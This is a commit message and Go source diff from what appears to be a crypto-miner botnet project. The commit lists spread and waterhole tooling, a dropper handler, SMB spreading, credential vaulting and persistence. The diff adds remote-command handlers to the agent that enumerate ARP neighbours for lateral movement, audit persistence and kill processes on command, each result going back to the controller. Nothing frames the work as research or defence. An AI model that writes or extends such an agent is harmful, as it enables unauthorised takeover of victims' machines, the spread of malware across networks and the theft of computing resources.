feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -5,6 +5,9 @@ import (
"fmt"
"os/exec"
"runtime"
"strings"
"crypto-miner-agent/deploy"
)
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
@@ -28,6 +31,31 @@ func (c *AgentClient) handleReconCommand(action, command string) bool {
c.sendCommandResult(action, true, string(b))
return true
}
if action == "arp_neighbors" {
ips := deploy.ArpNeighborIPs()
b, _ := json.Marshal(map[string]interface{}{
"neighbors": ips,
"count": len(ips),
})
c.sendCommandResult(action, true, string(b))
return true
}
if action == "persistence_audit" {
report := collectPersistenceAudit()
b, _ := json.Marshal(report)
c.sendCommandResult(action, true, string(b))
return true
}
if action == "kill_process" {
pid := strings.TrimSpace(command)
if pid == "" {
c.sendCommandResult(action, false, "pid is required in command field")
return true
}
ok, msg := killProcessByPID(pid)
c.sendCommandResult(action, ok, msg)
return true
}
if action == "full_sys_check" {
report := CollectFullSysCheck(c.cfg, c.agentID)
c.sendCommandResult(action, true, report.JSON())